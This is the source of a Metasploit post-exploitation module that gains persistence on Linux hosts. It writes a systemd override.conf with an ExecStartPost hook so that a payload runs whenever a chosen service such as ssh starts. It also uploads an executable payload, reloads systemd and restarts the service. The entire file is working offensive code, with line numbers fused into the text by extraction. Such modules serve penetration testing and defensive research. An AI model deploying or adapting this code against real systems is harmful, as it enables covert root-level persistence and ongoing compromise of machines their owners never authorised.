Path: blob/master/modules/exploits/linux/persistence/init_systemd_override.rb
31755 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::FileDropper11include Msf::Exploit::EXE # for generate_payload_exe12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Service SystemD override.conf Persistence',20'Description' => %q{21This module will create an override.conf file for a SystemD service on the box.22The ExecStartPost hook is used to launch the payload after the service is started.23We need enough access (typically root) to write in the /etc/systemd/system24directory and potentially restart services.25Verified on Ubuntu 22.0426},27'License' => MSF_LICENSE,28'Author' => [29'h00die',30],31'Platform' => ['unix', 'linux'],32'Privileged' => true,33'Targets' => [34['systemd', {}],35['systemd user', {}]36],37'DefaultTarget' => 0,38'Arch' => [39ARCH_CMD,40ARCH_X86,41ARCH_X64,42ARCH_ARMLE,43ARCH_AARCH64,44ARCH_PPC,45ARCH_MIPSLE,46ARCH_MIPSBE47],48'References' => [49['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'],50['URL', 'https://askubuntu.com/a/659268'],51['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files52['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],53['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]54],55'SessionTypes' => ['shell', 'meterpreter'],56'Notes' => {57'Stability' => [CRASH_SAFE],58'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],59'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]60},61'DisclosureDate' => '2010-03-30' # systemd release date62)63)6465register_options(66[67OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']),68]69)70register_advanced_options(71[72OptBool.new('ReloadService', [true, 'Reload the service', true])73]74)75end7677def check78print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')7980root_dir = '/lib/systemd/system/'81service_file = "#{root_dir}#{datastore['SERVICE']}.service"8283return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file)8485service_root_dir = '/etc/systemd/system/'86service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d"87override_conf = "#{service_dir}/override.conf"8889if directory?(service_dir)90return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf)91return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir)92else93return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir)94end9596CheckCode::Appears("#{writable_dir} is writable and system is systemd based")97end9899def install_persistence100print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')101102service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d"103override_conf = "#{service_dir}/override.conf"104105unless exists?(service_dir)106vprint_status("Creating #{service_dir}")107create_process('mkdir', args: ['-p', service_dir])108end109110if exists?(override_conf)111conf = read_file(override_conf)112backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup")113vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}")114@clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n"115else116@clean_up_rc << "rm #{override_conf}\n"117end118119if payload.arch.first == 'cmd'120p_load = payload.encoded121p_load = ' &' unless p_load.end_with?('&')122contents = <<~OVERRIDE123[Service]124ExecStartPost=/bin/sh -c '#{p_load}'125OVERRIDE126else127payload_path = writable_dir128payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"129payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)130payload_path << payload_name131print_status("Uploading payload file to #{payload_path}")132upload_and_chmodx payload_path, generate_payload_exe133contents = <<~OVERRIDE134[Service]135ExecStartPost=/bin/sh -c '#{payload_path} &'136OVERRIDE137end138139vprint_status("Writing override file to: #{override_conf}")140write_file(override_conf, contents)141142# This was taken from pam_systemd(8)143systemd_socket_id = cmd_exec('id -u')144systemd_socket_dir = "/run/user/#{systemd_socket_id}"145cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")146147@clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n"148@clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""149150if datastore['ReloadService']151vprint_status("Reloading #{datastore['SERVICE']} service")152cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")153end154end155end156157158